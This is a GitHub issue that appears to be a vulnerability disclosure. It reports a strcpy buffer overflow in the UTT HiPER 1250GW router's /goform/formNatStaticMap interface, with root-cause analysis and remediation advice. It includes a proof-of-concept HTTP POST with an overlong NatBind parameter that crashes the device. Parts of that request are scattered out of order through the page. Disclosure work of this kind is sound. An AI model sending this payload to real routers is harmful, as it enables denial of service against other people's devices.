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New issue

Open

Moxxkidd opened 2 weeks ago Owner

Vulnerability Title

Buffer Overflow Vulnerability in UTT HiPER 1250GW Router /goform/formNatStaticMap

Information

Vendor: UTT（AiTai）
Vendor Website: https://utt.com.cn/
Affected Product: HiPER 1250GW
Affected Firmware Version: <= v3.2.7-210907-180535
Firmware Download Address: https://utt.com.cn/downloadcenter.php

Overview

A serious buffer overflow vulnerability exists in the /goform/formNatStaticMap  interface of the UTT HiPER

1250GW router. An attacker can control related parameters through a crafted request and, when the
condition Action != add  is satisfied, eventually trigger the unsafe string copy operation strcpy(src_2, 
src); , resulting in a buffer overflow and causing a denial of service (DoS).

Vulnerability Details
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Interface Registration

According to the reverse engineering results, the vulnerable interface is registered as formNatStaticMap .

[Screenshot Placeholder 1: Interface registration location]

Parameter Retrieval and Branch Logic

In the vulnerable handler, the program retrieves several parameters, including Action , and also reads the

attacker-controlled string parameter. Based on the code path shown in the screenshots, the firmware
internally uses websGetVar_(a1, "NatBinds")  to retrieve the value, while the PoC submits the parameter

as NatBind .

This indicates an inconsistency in the original material. Therefore, the safer and more accurate wording in
this report is: NatBind  (corresponding to the internal firmware retrieval logic NatBinds ).

[Screenshot Placeholder 2: Parameter retrieval process]
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Trigger Condition

When the value of Action  is not equal to add , the program enters the corresponding conditional branch

and continues the subsequent processing logic. In this flow, attacker-controlled data is eventually passed to:

Since no length validation is performed on the input, an attacker can supply an overly long parameter to
overflow the destination buffer, resulting in a buffer overflow condition.

[Screenshot Placeholder 3: Action check and vulnerable strcpy call]

strcpy(src_2, src);
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Root Cause Analysis

The root cause of the vulnerability is that the program does not strictly validate the length of user-controlled
input and directly invokes the dangerous function below:

Because strcpy  performs no boundary checking, if the source string exceeds the size of the destination

buffer, adjacent memory will be overwritten, which may lead to service crashes, inaccessible pages, device
reboots, or other abnormal behavior. Based on the provided PoC and the observed error condition, the
vulnerability can reliably cause a denial of service.

Proof of Concept (PoC)

An attacker can trigger the vulnerability by sending the following HTTP request to the target device:

strcpy(src_2, src);

POST /goform/formNatStaticMap HTTP/1.1

Host: 192.168.1.1

Content-Length: 1822

Cache-Control: max-age=0

Authorization: Digest username="admin", realm="UTT", nonce="80758026511f147977ce8ea9363e038c"

Origin: http://192.168.1.1

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
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After sending the above request, the device may become unresponsive, the management interface may
become inaccessible, or the service may terminate abnormally, thereby confirming the vulnerability.

[Screenshot Placeholder 4: Timeout / device abnormal behavior after triggering]

Impact

This vulnerability may cause the following security impact:

Crash of the device's web management service

Inaccessibility of the management interface

Denial of service (DoS) state on the device

Potential for further exploitation under specific conditions

Remediation

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn

Referer: http://192.168.1.1/IPMac.asp

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: language=zhcn; utt_bw_rdevType=; td_cookie=2522114788

Connection: close

Action=del&NatBind=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

4/5/26, 12:36 PM Buffer Overflow Vulnerability in UTT HiPER 1250GW Router `/goform/formNatStaticMap` · Issue #1 · Moxxkidd/CVE

https://github.com/Moxxkidd/CVE/issues/1 5/7

https://private-user-images.githubusercontent.com/116329670/566282383-ec9feecc-7d0e-4ccb-88e5-3163fe79b15f.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzUzOTI4ODgsIm5iZiI6MTc3NTM5MjU4OCwicGF0aCI6Ii8xMTYzMjk2NzAvNTY2MjgyMzgzLWVjOWZlZWNjLTdkMGUtNGNjYi04OGU1LTMxNjNmZTc5YjE1Zi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDA1JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQwNVQxMjM2MjhaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT03ZjU3YTVmNDAwZTYwYzlkZDBlMzY3YWM2MWJlZDhiMGI5ZWUyOTY5YTNiYTBiNGMzNTZhN2NiZTIzMDQwZmE2JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.2ea8KEQyl8xZz26fLWQUUnJ17-h9Tfw0DSv1u3ro-8s
https://private-user-images.githubusercontent.com/116329670/566282383-ec9feecc-7d0e-4ccb-88e5-3163fe79b15f.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzUzOTI4ODgsIm5iZiI6MTc3NTM5MjU4OCwicGF0aCI6Ii8xMTYzMjk2NzAvNTY2MjgyMzgzLWVjOWZlZWNjLTdkMGUtNGNjYi04OGU1LTMxNjNmZTc5YjE1Zi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDA1JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQwNVQxMjM2MjhaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT03ZjU3YTVmNDAwZTYwYzlkZDBlMzY3YWM2MWJlZDhiMGI5ZWUyOTY5YTNiYTBiNGMzNTZhN2NiZTIzMDQwZmE2JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.2ea8KEQyl8xZz26fLWQUUnJ17-h9Tfw0DSv1u3ro-8s


Metadata

No one assigned

Assignees

No labels

Labels

No projects

Projects

No milestone

Milestone

None yet

Relationships

No branches or pull requests

Development

Code with agent mode

It is recommended that the vendor avoid using unsafe functions such as strcpy  when processing web

parameters, and replace them with bounded alternatives such as strncpy  or snprintf . In addition, strict

length checks and validity validation should be applied to critical parameters such as Action , NatBind ,

and the internally corresponding NatBinds . Enabling security mechanisms such as stack protection during
firmware compilation is also recommended to reduce the risk of exploitation.

Notes

The key correction in this report is not the vulnerability itself, but the inconsistent parameter naming in the
original material. The most robust wording is:

An attacker controls the NatBind  parameter through the /goform/formNatStaticMap  interface

(corresponding to the internal firmware retrieval logic NatBinds ), and when Action != add , a buffer

overflow is ultimately triggered through strcpy(src_2, src); .

Sign up for free  to join this conversation on GitHub. Already have an account? Sign in to comment
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